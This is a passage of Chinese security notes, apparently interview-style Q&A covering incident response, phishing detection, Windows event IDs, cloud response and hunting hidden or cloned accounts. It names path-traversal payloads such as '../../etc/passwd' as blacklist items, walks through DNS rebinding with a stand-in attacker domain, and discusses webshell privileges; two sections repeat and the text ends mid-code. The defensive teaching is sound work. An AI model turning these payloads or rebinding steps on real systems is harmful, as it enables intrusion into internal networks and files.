    • 文件分析:查找可疑的文件,如挖矿程序、配置文件、定时任务脚本等。注意文件的时间戳,并寻找隐藏或伪装的文件
    • 启动项与定时任务:检查系统的自启动项(注册表、启动文件夹)和定时任务(schtasks),找出病毒的持久化机制
    • 日志分析
      • 系统日志:检查是否有异常的登录记录、服务启动失败等
      • 安全日志:查看是否有暴力破解、提权等事件
  • 恶意文件分析
    • 静态分析:使用反汇编工具或在线沙箱(如 VirusTotal),查看恶意文件的哈希值、字符串、行为特征等
    • 动态分析:在隔离环境中运行恶意文件,观察其行为,包括创建或修改哪些文件、连接哪些 IP 地址、如何进行提权等

3. 彻底清除与修复

基于分析结果,制定详细的清除计划

  • 清除恶意程序

    • 根据分析结果,终止恶意进程
    • 删除所有相关的恶意文件、启动项和定时任务
    • 清除注册表中与病毒相关的键值
  • 修复漏洞

    • 如果病毒是通过系统漏洞(如永恒之蓝)传播的,立即打上相应的补丁
    • 关闭不必要的端口和服务
    • 修改弱口令,强制所有用户使用强密码
  • 全网扫描

    • 使用企业级的杀毒软件对全网进行扫描,确保没有其他被感染的主机
    • 对所有主机进行安全基线检查,加固配置

    如何判断钓鱼邮件

1. 检查发件人信息

这是判断钓鱼邮件最直接、最有效的方法

  • 发件人地址异常:即使邮件显示的发件人名字是你熟悉的,也要仔细查看完整的邮件地址。例如,一封声称来自“Apple”的邮件,其发件人地址可能不是 @apple.com,而是类似 @app1e.com(数字 1 替代字母 l)或者 @apple-support.com 的地址
  • 企业邮箱与公共邮箱混淆:正规公司通常会使用自己的企业邮箱后缀(如 xxx@company.com),而不会使用 GmailHotmail163.com 等公共邮箱发送重要通知
  • 发件人与内容不符:如果邮件主题是关于银行账户的,但发件人却是一个电商网站的地址,那这封邮件极有可能是钓鱼邮件

2. 警惕可疑的链接和附件

钓鱼邮件的主要目的就是诱导你点击链接或下载附件

  • 悬停检查链接不要直接点击任何可疑链接。将鼠标悬停在链接上(不要点击),浏览器或邮件客户端的左下角通常会显示出真实的跳转地址。如果显示的地址与文字描述不符,或者是一个看起来杂乱无章、包含大量数字和特殊字符的网址,那么这个链接很可能有问题
  • 附件类型可疑:当心那些扩展名为 .exe.scr.zip.rar.js.vbs.bat 的附件。即使是 Word、Excel 文档,也要警惕那些要求你“启用宏”才能查看的提示,这很可能是恶意代码

暴露面梳理怎么做

1. 梳理资产

这是暴露面梳理的第一步,也是基础。你必须知道你有什么,才能知道要保护什么

  • 网络资产:识别所有 IP 地址、域名、子域名、开放端口、服务和应用
  • 物理资产:包括服务器、电脑、手机、IoT 设备等
  • 第三方资产:云服务(AWS、Azure、阿里云)、SaaS 应用(Salesforce、Workday)、外包服务商等。这些都是你无法完全控制,但可能成为攻击入口的点
  • 人员资产:员工、供应商、合作伙伴。人是最大的漏洞,钓鱼邮件、社会工程学都以人为目标

2. 识别攻击入口

梳理完资产后,你需要从攻击者的角度思考,他们会从哪里下手

  • 外部暴露面:这是最常见的攻击入口
    • Web 应用:包括网站、Web API、后台管理系统等。可能存在 SQL 注入、跨站脚本(XSS)、文件上传漏洞等
    • 开放端口和服务:如 SSH、RDP、FTP、数据库服务等。配置不当、弱口令、未打补丁的服务都可能被利用
    • 域名和子域名:子域名接管、域名劫持等都是常见的攻击手法
    • 邮件系统:钓鱼邮件是获取内部权限的有效方式
  • 内部暴露面:一旦攻击者进入内部网络,他们会寻找更多的弱点
    • 内部 Web 应用:许多内部应用的安全防护比不上外部应用
    • 内网资产:未打补丁的操作系统、配置错误的设备、共享文件夹权限过大等
    • 人员行为:员工在社交媒体上泄露公司信息、使用弱密码等

3. 持续监控与更新

暴露面梳理不是一次性的任务,而是一个持续的过程

  • 自动化监控:使用自动化工具定期扫描和监控你的资产
  • 资产变更管理:建立资产变更登记制度,确保新上线的服务、应用都能被及时纳入梳理范围
  • 威胁情报:订阅威胁情报,了解最新的漏洞和攻击手法,及时更新你的防御策略

netstat 和 ss 命令的区别

netstat 是一个比较传统的工具,长期以来都是网络诊断的首选。然而,随着网络流量和连接数的不断增长,netstat 在处理大量数据时会变得非常慢,因为它需要遍历 /proc/net 目录下的所有文件来收集信息

ss (socket statistics) 是 netstat 的现代替代品,它利用了 Linux 内核中 Netlink 协议的优势。Netlink 是一种用于内核与用户空间进程之间通信的套接字机制。因此,ss 可以直接从内核获取套接字统计信息,而无需解析 /proc 文件,这使得它在性能上远远优于 netstat,尤其是在系统有大量连接时


Windows 日志存储位置

主要的日志类别及其文件如下:

  • 应用程序日志 (Application)

    • 文件路径%SystemRoot%\System32\Winevt\Logs\Application.evtx
    • 内容:记录由应用程序产生的事件,例如程序启动、停止、崩溃或错误信息
  • 安全日志 (Security)

    • 文件路径%SystemRoot%\System32\Winevt\Logs\Security.evtx
    • 内容:记录与安全相关的事件,例如用户登录/注销、权限更改、文件访问等。这对于应急响应和取证分析非常重要
    • 注意:安全日志默认是关闭许多详细审计功能的,需要通过组策略(Group Policy)来启用更详细的审计策略
  • 系统日志 (System)

    • 文件路径%SystemRoot%\System32\Winevt\Logs\System.evtx
    • 内容:记录由 Windows 操作系统组件产生的事件,例如驱动程序加载失败、硬件错误、服务启动/停止等
  • Setup 日志 (Setup)

    • 文件路径%SystemRoot%\System32\Winevt\Logs\Setup.evtx
    • 内容:记录 Windows 安装、升级或服务包安装过程中的事件

    常见 Windows 事件 ID

1. 安全事件日志(Security Log)中常见的事件 ID

安全日志是我们进行应急响应和入侵分析时,最需要关注的。以下是一些常见的安全事件 ID 及其含义:

  • ID 4624成功登录。这表示用户成功登录到系统。在排查入侵时,我们会特别关注登录的来源(网络登录、远程桌面等)和登录的用户
  • ID 4625登录失败。这是入侵者进行暴力破解或密码猜解的常见痕迹。当看到大量连续的 4625 事件时,通常意味着有恶意登录尝试
  • ID 4648使用显式凭据登录。这通常表示某个服务或进程使用与当前登录用户不同的凭据来运行,在排查横向移动和特权滥用时很有用
  • ID 4672分配了管理员特权。当一个用户通过提权(如 Runas)获得管理员权限时,会产生此事件
  • ID 4720创建用户账户。攻击者为了持久化控制,通常会创建新的用户。这个事件 ID 是检测账户异常创建的关键
  • ID 4724重置密码。管理员或拥有相应权限的用户重置了另一个用户的密码
  • ID 4732 / 4733用户被添加到安全组 / 从安全组中移除。攻击者可能会将自己的账户添加到管理员组(如 Administrators),以获取更高权限
  • ID 4768 / 4769Kerberos 票证请求。这些事件与 Kerberos 身份验证有关,在排查域环境下的哈希传递、黄金票据等攻击时非常重要

2. 系统事件日志(System Log)中常见的事件 ID

系统日志可以帮助我们了解系统运行状态和是否存在异常

  • ID 1074系统关机或重启。如果系统意外重启,这个事件会提供关机的原因
  • ID 6005系统启动。表示事件日志服务已启动,通常在系统开机后记录
  • ID 6006系统关机。表示事件日志服务已停止,通常在系统关机前记录

3. 应用事件日志(Application Log)中常见的事件 ID

应用日志帮助我们了解特定程序运行中出现的问题。

  • ID 1000应用程序崩溃或错误。这是一个非常通用的事件 ID,表示某个应用程序遇到了错误并停止运行
  • ID 1001Windows 错误报告。记录了应用程序崩溃的详细信息,这对于定位恶意软件或服务异常终止非常有用

云产品的应急思路

1. 明确责任边界

你需要清楚地知道哪些安全责任由云服务提供商(如 AWS、Azure、GCP)承担,哪些由你承担

  • 云厂商(如阿里云、腾讯云):负责底层基础设施(物理服务器、网络、数据中心)的安全
  • 客户(你):负责云上租户内的安全,包括云服务器(ECS/CVM)、云数据库、应用系统、数据安全以及身份与访问管理(IAM)

在接到告警或发现异常时,第一步是判断问题是否属于你的责任范畴。例如,如果你的 ECS 实例被挖矿病毒入侵,这是你的责任;但如果云厂商的控制台出现大面积无法访问,那通常是云厂商的责任

2. 身份与访问管理(IAM)优先

在云环境中,API 密钥泄露是导致大规模入侵事件的常见原因。一个高权限的 AccessKey 被盗,攻击者可以利用它来创建新的云主机、删除数据、修改安全组规则,甚至进行横向移动

  • 应急响应操作(以阿里云为例)
    • 立即禁用删除可疑的 RAM 用户或 AccessKey
    • 排查操作日志:在**云审计(CloudTrail)**中,通过日志分析攻击者执行了哪些操作,例如 RunInstancesDeleteObject
    • 强制 MFA:对所有高权限用户强制开启多因素认证

3. 利用云原生安全和监控产品

云厂商提供了强大的日志和监控服务,它们是应急响应的“黑匣子”,能提供详细的事件时间线和攻击路径

  • 阿里云
    • 云审计(ActionTrail):记录所有 API 调用,是分析攻击者行为的核心日志
    • 日志服务 SLS:收集各类日志,如 ECS 的操作系统日志、VPC 流日志等,为分析提供基础
    • 态势感知:对云上资产进行安全评估和威胁检测,可以发现恶意文件、异常登录等
  • 腾讯云
    • 云审计(CloudAudit):记录账户下的所有 API 操作
    • 日志服务 CLS:提供日志收集和分析能力
    • 云防火墙/安全组:监控并阻断恶意流量
  • 华为云
    • 云审计服务(CTS):记录云服务的操作事件
    • 网络流量分析(NTA):分析网络流量,发现异常行为

4. 隔离与遏制

快速遏制是防止损害扩大的关键。在云上,隔离的操作更加灵活和高效

  • 修改安全组/网络 ACL:通过修改安全组或网络 ACL 规则,可以快速阻断恶意 IP 地址或端口的流量
  • 断开云主机网络:直接将受感染的云主机从 VPC 网络中隔离。在阿里云中,可以通过修改 ECS 的安全组使其无法访问任何网络
  • 创建快照:在执行任何破坏性操作前,为受感染的云主机创建快照。这个快照是进行取证分析的重要依据,可以让你在后续分析中还原当时的环境状态

5. 自动化与编排

手动应急响应在面对大规模入侵时会非常缓慢。利用云厂商提供的自动化工具,可以大大提升效率

  • Serverless 函数(阿里云 FC、腾讯云 SCF):编写函数,在收到告警(如威胁情报告警)时,自动执行响应操作,例如修改安全组、禁用 AccessKey
  • 基础设施即代码(IaC):使用 TerraformROS(阿里云) 等工具,可以快速部署一个干净、已加固的新环境,然后将应用切换过去,这比修复一个受感染的云主机要快得多

DNS 重绑定漏洞原理

1. 攻击原理:两次 DNS 解析的“重绑定”

DNS 重绑定攻击的核心在于**“两次”“重绑定”**这两个关键步骤

第一步:第一次 DNS 解析(公网地址)

  1. 攻击者准备: 攻击者控制一个恶意域名,例如 rebind.attacker.com,并在其 DNS 服务器上配置该域名
  2. 用户访问: 用户在浏览器中访问一个恶意网站,该网站包含一个加载 rebind.attacker.com 资源的脚本
  3. DNS 解析: 浏览器向 DNS 服务器请求解析 rebind.attacker.com
  4. 恶意响应: 攻击者的 DNS 服务器返回一个正常的公网 IP 地址(例如 1.1.1.1)和一个非常短的 **TTL(Time-to-Live)**值,比如 10 秒
    • TTL 是 DNS 记录的有效期,它告诉浏览器在 TTL 时间内可以缓存这个解析结果。很短的 TTL 值是攻击成功的关键
  5. 建立信任: 浏览器接收到公网 IP 后,与 rebind.attacker.com 建立连接,加载恶意脚本。此时,浏览器认为该脚本是安全的,因为它来自一个公网域名

第二步:第二次DNS解析(内网地址)

  1. TTL 过期: 恶意脚本被加载后,会等待一个比 TTL 值稍长的时间(例如 12 秒)
  2. 发起请求: 脚本向同一个域名 rebind.attacker.com 发起一个新的请求(例如,一个 AJAX 请求)
  3. 重新解析: 由于第一次的 DNS 记录已经过期(TTL 超时),浏览器会再次向 DNS 服务器请求解析rebind.attacker.com
  4. 重绑定: 这一次,攻击者的 DNS 服务器不再返回公网 IP,而是返回一个内网 IP 地址(例如 192.168.1.1
  5. 绕过策略: 浏览器接收到这个内网 IP 后,由于它认为这个新的请求仍然来自“同源”的 rebind.attacker.com,而其解析结果却是内网 IP,浏览器会认为该请求是合法的,并将其发送到内网地址192.168.1.1
  6. 攻击成功: 此时,恶意脚本已经成功绕过同源策略,可以直接访问和控制内网中的设备,如路由器、摄像头或打印机

Token 和 Referer 的安全等级谁高

Token 的安全等级远高于 Referer

以一个简单的比喻来说:

  • Token 就像一张带有防伪标记和有效期的银行卡,只有验证了卡片和密码(以及有效期),才能进行交易
  • Referer 就像你告诉收银员你是从哪个商场进来的,这个信息谁都可以随口编造,收银员不会拿这个来验证你的身份。

任意文件下载漏洞防御方法

1. 严格校验用户输入

这是最根本也是最重要的防御措施。在处理文件下载请求时,绝对不能相信用户提供的任何文件路径信息

  • 白名单机制: 建议使用白名单来限制用户可下载的文件。即只允许下载特定目录下的特定文件。例如,你可以定义一个允许下载的文件列表,当用户请求文件时,先检查请求的文件名是否在白名单中
  • 黑名单机制(不推荐): 尽管可以通过黑名单来过滤一些危险的文件名(如../../..//etc/passwdC:/Windows/win.ini),但这种方法很容易被绕过。攻击者可以使用编码(如 URL 编码)或者其他技巧来绕过黑名单,因此不推荐单独使用黑名单
  • 路径规范化: 在处理用户输入的文件路径前,必须对路径进行规范化。你可以使用编程语言提供的函数来获取文件的规范路径,然后检查这个路径是否在你的下载目录下。例如,在 Python 中可以使用os.path.abspath()来获取绝对路径
  • 禁止使用路径穿越符: 检查用户输入中是否包含 ../..\ 等路径穿越符。如果发现,应立即拒绝请求或进行特殊处理
  • 限定下载目录: 所有可供下载的文件都应存放在一个专门的、与 Web 根目录隔离的下载目录中。下载请求应该只允许访问这个目录下的文件

2. 权限控制

  • 最小权限原则: Web 服务器(如Nginx、Apache)或运行 Web 应用的账户,应该以最小权限运行。不要使用rootAdministrator 等高权限账户。这样即使出现漏洞,攻击者也无法下载到系统关键文件
  • 文件权限设置: 确保 Web 目录下的文件权限设置正确。例如,配置文件、日志文件、数据库文件等敏感文件应设置为只有特定用户才能读取,并且禁止 Web 应用账户读取

3. 编程实现中的安全实践

  • 使用绝对路径: 在代码中,永远使用绝对路径来构建文件下载的路径。不要使用用户提供的相对路径
  • 文件名或 ID 映射: 更好的一种方法是,不要直接暴露文件名给用户。你可以为每个可下载文件生成一个唯一的ID,并将其存储在数据库中。用户请求时,只提供这个 ID,后端程序根据 ID 从数据库中查找对应的文件路径并进行下载。这样可以彻底避免用户直接操纵文件名

例如:

  • 不安全的方式: download.php?file=../../etc/passwd
  • 安全的方式: download.php?id=123 (ID 123 对应的是一个安全的、预设的文件路径)

4. Web 应用防火墙(WAF)

  • 部署 WAF: 在 Web 服务器前部署 Web 应用防火墙(WAF)。WAF 可以帮助你检测和拦截包含路径穿越(Path Traversal)攻击特征的请求,如 ..//etc/passwd 等,从而在请求到达应用服务器前就将其拦截

怎么修改 TTL 值

1. 修改操作系统中的默认 TTL 值

在应急响应中,我们有时需要修改操作系统默认的 TTL 值来测试网络路径或规避某些防火墙策略

在 Windows 上

  1. 打开注册表编辑器:在“运行”中输入 regedit 并回车
  2. 导航到以下路径: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
  3. 在右侧窗格中,右键点击空白处,选择“新建” -> “DWORD (32 位) 值”,将其命名为 DefaultTTL
  4. 双击 DefaultTTL,选择“十进制”,输入你想要设置的 TTL 值(例如,64、128 或 255)
  5. 重启电脑使设置生效

在 Linux 上

  1. 打开终端,编辑 sysctl.conf 文件: sudo nano /etc/sysctl.conf
  2. 在文件末尾添加或修改以下行: net.ipv4.ip_default_ttl = 64 你可以将 64 修改为你想要的值
  3. 保存并退出文件
  4. 运行以下命令使配置立即生效: sudo sysctl -p

2. 修改 DNS 记录的 TTL 值

在应急响应场景中,我们经常需要快速更新 DNS 记录以指向新的服务器或 IP 地址,例如在进行 DNS 切换或故障转移时。这时,DNS 记录的 TTL 值就非常重要

TTL 值越低,DNS 记录的更新就越快,但会增加 DNS 服务器的查询负载

TTL 值越高,DNS 记录的更新就越慢,但可以减少 DNS 服务器的负载

如何修改:

你需要在你的域名注册商或 DNS 服务提供商的管理界面中进行修改

  1. 登录你的 DNS 服务商(如 GoDaddy, Cloudflare, 阿里云 DNS 等)
  2. 找到你想要修改的域名,进入 DNS 记录管理页面
  3. 找到对应的 A 记录、CNAME 记录或 MX 记录
  4. 你会看到一个 TTL 字段,通常以秒为单位。将其修改为你需要的值
    • 应急场景:当需要快速切换时,建议将 TTL 值降低到 60 秒甚至 300 秒(5 分钟)
    • 正常运行:一般情况下,可以设置为 **3600 秒(1 小时)**或 86400 秒(1 天)
  5. 保存修改

Linux 怎么查看程序调用了哪些文件

1. 使用 lsof 命令

lsof (list open files) 是最强大和最常用的工具,它可以列出当前系统所有打开的文件,包括普通文件、目录、网络套接字等

基本用法:

要查看特定程序(通过 PID进程名)打开了哪些文件,你可以使用以下命令:

  • 按进程名查看:

    1
    lsof -c <program_name>

    例如,要查看 nginx 进程打开了哪些文件,可以运行:

    1
    lsof -c nginx
  • 按进程 ID (PID) 查看:

    1
    lsof -p <PID>

    首先,你需要找到程序的 PID。比如,使用 ps aux | grep nginxpgrep nginx。然后,用找到的 PID 来查看:

    1
    lsof -p 12345

常见输出字段:

lsof 的输出通常包含以下列:

  • COMMAND:命令名
  • PID:进程 ID
  • USER:用户
  • FD:文件描述符 (File Descriptor)
    • cwd:当前工作目录
    • txt:程序的可执行文件
    • mem:内存映射文件
    • 数字:普通文件,后面通常跟着 r (读)、w (写) 或 u (读写)
  • TYPE:文件类型(如 REG 表示普通文件,DIR 表示目录)
  • NAME:文件名

2. 使用 strace 命令

strace 工具用于跟踪系统调用和信号。它可以记录程序在运行过程中对文件进行的各种操作,如 open()read()write() 等。

基本用法:

  • 启动时跟踪新程序:

    1
    strace <program_name>

    这个命令会启动程序,并实时打印出它所有的系统调用。要只看文件相关的调用,可以使用 -e 选项:

    1
    strace -e trace=file <program_name>

    或者,更精确地跟踪 open 调用:

    1
    strace -e open <program_name>
  • 跟踪正在运行的程序:

    1
    strace -p <PID>

    这会附加到指定的 PID 上,并开始跟踪其系统调用

strace 的输出非常详细,可以帮助你了解程序是如何与文件系统交互的,例如它尝试打开哪个文件、是否成功、返回的文件描述符是什么等等

3. 查看 /proc 文件系统

/proc 是一个虚拟文件系统,提供了对内核数据结构的访问。每个正在运行的进程都有一个对应的目录 /proc/<PID>

  • /proc/<PID>/fd/ 目录: 这个目录包含了进程打开的所有文件描述符的符号链接。你可以通过列出这个目录的内容来查看:

    1
    ls -l /proc/<PID>/fd/

    这个命令会列出所有文件描述符及其指向的真实文件路径

  • /proc/<PID>/exe 文件: 这是一个指向程序可执行文件的符号链接

    1
    readlink /proc/<PID>/exe
  • /proc/<PID>/cwd 文件: 这是一个指向程序当前工作目录的符号链接

    1
    readlink /proc/<PID>/cwd

总结

  • lsof:最直接、最常用的工具,可以快速查看一个程序当前打开了哪些文件。当你想知道“这个程序现在正在使用什么文件?”时,首选 lsof
  • strace:用于 跟踪程序动态行为。当你想知道“这个程序在运行过程中尝试打开或访问了哪些文件?”或者想调试为什么某个文件无法打开时,strace 是最佳选择
  • /proc 文件系统:这是一个 低级 的方法,提供了对进程状态的直接访问。当你无法使用 lsofstrace 时,或者需要编写脚本来获取信息时,/proc 是一个可靠的备选方案

通常情况下,lsof -c <program_name> 是解决大多数问题的起点,因为它简单、直接且输出清晰


CMD 命令行如何查询远程终端开放端口

1. 使用 netstat -ano 找到可疑的端口和对应的 PID

运行 netstat -ano 后,你会看到一个详细的列表,包含:

  • 协议 (Proto): TCP 或 UDP
  • 本地地址 (Local Address): 本地IP地址和端口号
  • 外部地址 (Foreign Address): 远程IP地址和端口号
  • 状态 (State): 连接状态,例如 ESTABLISHED (已建立连接)、LISTENING (正在监听)
  • PID: 进程 ID

你可以通过查找 LISTENING 状态的端口,或者 ESTABLISHED 状态的陌生外部地址,来定位可疑的网络活动


CMD 命令行如何查询远程终端开放端口

1. 使用 netstat -ano 找到可疑的端口和对应的 PID

运行 netstat -ano 后,你会看到一个详细的列表,包含:

  • 协议 (Proto): TCP 或 UDP
  • 本地地址 (Local Address): 本地IP地址和端口号
  • 外部地址 (Foreign Address): 远程IP地址和端口号
  • 状态 (State): 连接状态,例如 ESTABLISHED (已建立连接)、LISTENING (正在监听)
  • PID: 进程 ID

你可以通过查找 LISTENING 状态的端口,或者 ESTABLISHED 状态的陌生外部地址,来定位可疑的网络活动


查看服务器是否存在可疑账号、新增账号

Windows 服务器排查

在 Windows 系统中,我们可以通过命令行工具、注册表和日志来查找异常账号

1. 使用命令行检查

  • 查看本地所有用户账号 使用 net user 命令可以列出系统上的所有本地用户。仔细检查是否有不认识或命名异常的账号,例如:tempadmintestuserservice_a

    1
    net user
  • 查看新增的管理员账号 使用以下命令可以查看本地管理员组的成员。如果发现新的或不熟悉的账号,需要重点排查

    1
    net localgroup administrators
  • 查看最近创建的账号 lusrmgr.msc(本地用户和组)是一个图形化界面,可以按创建日期排序。在命令行中,我们通常需要结合 安全日志 来进行排查

2. 检查安全事件日志

这是最可靠的方法之一。Windows 会记录用户创建、修改和删除等操作到安全事件日志中

  • 事件查看器(Event Viewer)

    1. 打开事件查看器 (eventvwr.msc)
    2. 导航到“Windows 日志” -> “安全”
    3. 使用“筛选当前日志”功能,输入以下事件 ID 进行筛选:
      • 4720: 创建用户账号
      • 4722: 启用用户账号
      • 4724: 重置用户密码
      • 4732: 将用户添加到本地安全组(如管理员组)
      • 4728: 将用户添加到全局安全组

    通过筛选这些事件 ID,你可以快速定位到账号被创建、启用或权限提升的时间点,并查看操作者(通常是 SYSTEM 或其他管理员账号)

Linux 服务器排查

在 Linux 系统中,我们可以通过检查系统文件和命令历史来发现异常账号

1. 检查关键系统文件

  • /etc/passwd 文件 这个文件包含了系统上所有用户的信息,每行代表一个用户。通常,系统的服务账号会以 /sbin/nologin/bin/false 结尾,而可登录的用户通常以 /bin/bash/bin/sh 结尾。 你可以使用 catless 命令查看,重点关注 UID(用户 ID),UID 小于 1000 的通常是系统账号,而 UID 大于 1000 的是普通用户

    1
    cat /etc/passwd

    要找到 UID 大于 1000 的账号,可以使用:

    1
    awk -F: '$3 >= 1000 {print $1}' /etc/passwd
  • /etc/shadow 文件 这个文件包含了用户的密码哈希值和密码过期信息。虽然不能直接看到密码,但它能确认用户的存在

    1
    cat /etc/shadow
  • /etc/group 文件 这个文件定义了用户组。你可以检查 sudowheelroot 等特权组,看是否有可疑用户被添加

    1
    cat /etc/group

2. 查看登录历史和命令历史

  • 查看用户登录历史 使用 last 命令可以查看所有用户的登录历史。检查是否有不正常的登录时间、来源 IP 地址或登录用户。

    1
    last

    使用 who 命令可以查看当前登录的用户

    1
    who
  • 查看命令历史 检查 /root/.bash_history/home/<username>/.bash_history 文件,看是否有添加用户的命令(如 useradd

    1
    cat /root/.bash_history | grep "useradd"

    注意:攻击者可能会清除命令历史,所以这不能作为唯一的判断依据

3. 检查审计日志(Auditd)

如果你的 Linux 服务器配置了 auditd 服务,那你可以通过审计日志来获取更详细的信息。auditd 会记录系统上几乎所有的操作

  • 事件 ID auditd 记录用户创建的事件 ID 是 1000。你可以通过 ausearch 命令来查询:

    1
    ausearch -ua root -i | grep 1000

    这个命令可以帮助你查找由 root 用户执行的账户创建操作


    查看服务器是否存在隐藏账号、克隆账号

Windows 服务器排查

攻击者在 Windows 上克隆或隐藏账户通常利用注册表和用户 SID(安全标识符)的特性。

1. 排查克隆账户

克隆账户是指攻击者创建一个新的用户,然后修改注册表,使其拥有与某个高权限账户(如管理员)完全相同的 SID 和权限,但名字可能正常或看似无害

  • 使用 wmic 命令检查 使用 wmic useraccount 命令可以列出所有用户及其 SID。你需要重点检查以下情况:

    1. SID 异常:正常用户的 SID 最后一位通常是 1000 以上的递增数字
    2. 用户与 SID 不匹配:特别是那些用户名看起来正常,但 SID 和其他用户(如管理员)完全相同的账户
    1
    wmic useraccount get name,sid

    正常情况下,一个用户对应一个唯一的 SID。如果发现两个用户拥有相同的 SID,则很可能存在克隆账户

  • 检查本地用户和组 虽然在 lusrmgr.msc 中通常能看到克隆账户,但有时候攻击者会用一些技巧隐藏,所以结合 wmic 检查更保险。

2. 排查隐藏账户

攻击者会通过修改注册表来隐藏账户,使其在 net userlusrmgr.msc 中不显示

  • 检查注册表

    1. 打开注册表编辑器:regedit

    2. 导航到:HKEY_LOCAL_MACHINE\SAM\SAM

    3. 你需要 SYSTEM 权限才能访问这个路径。可以通过 psexec 获取一个 SYSTEM 权限的 cmd 来进行查看:

      1
      psexec -s -i cmd
    4. 在 SYSTEM 权限的 cmd 中再次打开 regedit,导航到该路径

    5. 你会在 SAM\Domains\Account\Users\Names 下看到所有账户名

    6. SAM\Domains\Account\Users 下,每个子项代表一个账户,其名称是十六进制的 RVA(相对虚拟地址)

    7. 对比 Users\NamesUsers 下的键值。 如果 Users 下存在某个键值(账户)但在 Users\Names 下没有对应的名称,那么这个账户就是隐藏账户

  • 日志审计 结合 安全日志(事件 ID 4720)进行排查,即使账户被隐藏,其创建记录也可能被保留

Linux 服务器排查

在 Linux 上,隐藏账户通常是利用系统文件的特性,而克隆账户则相对少见,但可以通过其他方式实现权限提升

1. 排查隐藏账户

攻击者通常通过修改 /etc/passwd/etc/shadow 文件,删除用户名,但保留账户的其他信息,或者创建没有名称的账户

  • 检查 /etc/passwd 文件

    1. 查找没有用户名的账户:

      1
      grep -v '^[a-zA-Z]' /etc/passwd

      这个命令会过滤掉所有以字母开头的行,如果输出结果有非空的行,可能存在隐藏账户

    2. 查找空用户名账户:

      1
      cat /etc/passwd | awk -F: '($1 == "") { print }'

      这种方法可以查找用户名为空的账户

    3. 检查 UID 为 0 的账户:

      1
      awk -F: '($3 == 0) { print }' /etc/passwd

      UID 为 0 的账户拥有 root 权限。理论上只有一个 root 账户的 UID 为 0,如果出现多个,则很可能是克隆账户

2. 检查克隆账户

Linux 上的克隆账户通常是指多个账户拥有相同的 UID,从而共享相同的权限

  • 检查相同 UID 的账户 使用 awk 命令查找 UID 重复的账户,这通常是克隆 root 权限账户的迹象

    1
    awk -F: '{print $3}' /etc/passwd | sort | uniq -d

    这个命令会找出 /etc/passwd 文件中所有重复的 UID。如果输出结果有 0,说明存在多个 UID 为 0 的账户。然后,你可以用 grep 查找这些 UID 对应的用户名

    1
    grep ":0:" /etc/passwd

3. 检查 SSH 授权文件

攻击者也可能通过在 .ssh/authorized_keys 中添加公钥来持久化,从而无需密码即可登录

  • 检查所有用户的 .ssh 目录

    1
    find /home -name "authorized_keys"

    找到文件后,检查其内容,看是否有不认识的公钥


    SQL 注入用转义字符防御时,如果遇到数据库的列名或是表名本身就带着特殊字符怎么办

在这种情况下,不应该对这些数据库对象名称使用转义字符,因为它们是数据库的合法标识符,而不是用户输入的数据。如果进行了转义,数据库将无法正确识别这些对象

正确的做法:使用反引号或双引号进行引用

为了正确地处理包含特殊字符的列名或表名,标准的做法是使用**反引号(`)双引号(”)**将这些标识符括起来。不同的数据库系统有不同的规定:

  • MySQL:使用反引号(`)

    1
    SELECT `user-name` FROM `user's_data` WHERE id = 1;
  • PostgreSQL、Oracle、SQL Server:使用双引号(”)

    1
    SELECT "user-name" FROM "user's_data" WHERE id = 1;

注意:这种引用方法只用于处理数据库对象名,不应用于处理用户输入数据


为什么 aspx 木马的权限会比 asp 木马的权限更高

ASP 木马的权限 (老式技术)

早期的 ASP 技术,在 IIS 中运行时,通常会使用一个叫做 IUSR 的匿名用户账户

  • 账户权限低IUSR 账户的权限被严格限制,它只能访问一些特定的文件和目录,比如网站的根目录
  • 执行后果:如果你上传一个 ASP 木马并成功执行,这个木马的所有操作都将以 IUSR 的权限进行。它可能能读取或写入网站目录里的文件,但无法访问系统核心文件,也无法创建新的系统管理员账户
  • 总结:ASP 木马的危害被账户权限牢牢限制在了一个较低的水平

ASP.NET (ASPX) 木马的权限 (新式技术)

ASP.NET 是微软推出的新一代 Web 技术,它采用了更现代的权限管理模型:应用程序池 (Application Pool)

每个 ASP.NET 应用都运行在一个独立的应用程序池中,而每个应用程序池都使用一个特定的账户身份来运行

这个身份决定了它的权限!!!

问题就出在这里:

  • 默认配置(安全):在现代 IIS 中,应用程序池的默认身份是 ApplicationPoolIdentity。这是一个非常安全的低权限账户,它的权限和 ASP 的 IUSR 账户类似,甚至更低。在这种情况下,ASP.NET 木马的权限也很低,无法造成太大危害

  • 错误配置(危险):出于某些历史或方便的原因,一些管理员为了解决权限问题,会手动将应用程序池的身份更改为高权限账户,最常见的就是 SYSTEM 账户

    • SYSTEM 账户:这是 Windows 操作系统中权限最高的本地账户。它几乎可以执行任何操作,包括读写系统核心文件、创建新的管理员、停止或启动系统服务等
    • 执行后果:如果攻击者上传的 ASP.NET 木马恰好运行在一个配置为 SYSTEM 账户的应用程序池中,那么这个木马就会继承 SYSTEM 的所有权限。此时,它将拥有对整个服务器的完全控制权,可以为所欲为

    有哪些 SQL 语句无法使用预编译的方式

1. 动态的数据库对象名称

预编译的参数只能用于替换 SQL 语句中的VALUES),而不能用于替换表名列名排序字段ORDER BY)或数据库名

例如,你不能这样做:

1
2
3
4
// 错误的预编译用法
String sql = "SELECT * FROM ? WHERE id = 1";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, "users"); // 无法将表名作为参数传入

2. 动态的 SQL 关键词或子句

SELECTFROMWHEREGROUP BYORDER BY 等 SQL 关键词或整个子句都无法作为参数传入

例如,如果你想根据用户输入动态改变排序规则,你不能这样做:

1
2
3
4
// 错误的预编译用法
String sql = "SELECT * FROM products ORDER BY ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, "price DESC"); // 无法将排序规则作为参数传入

3. 动态的 IN 子句中的值列表

IN 子句中的值列表长度是可变的,预编译的占位符数量是固定的。因此,你不能直接将整个列表作为参数传入

例如,如果你想查询多个ID的用户,不能这样做:

1
2
3
4
// 错误的预编译用法
String sql = "SELECT * FROM users WHERE id IN (?)";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, "101, 102, 103"); // 字符串“101, 102, 103”会被当作一个值

正确的做法:动态生成占位符

对于这种情况,你需要在代码中根据用户输入的列表动态生成相应数量的占位符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 正确的做法
List<Integer> userIds = getUserIdsFromInput(); // 假设用户输入:101, 102, 103
StringBuilder sqlBuilder = new StringBuilder("SELECT * FROM users WHERE id IN (");
for (int i = 0; i < userIds.size(); i++) {
sqlBuilder.append("?");
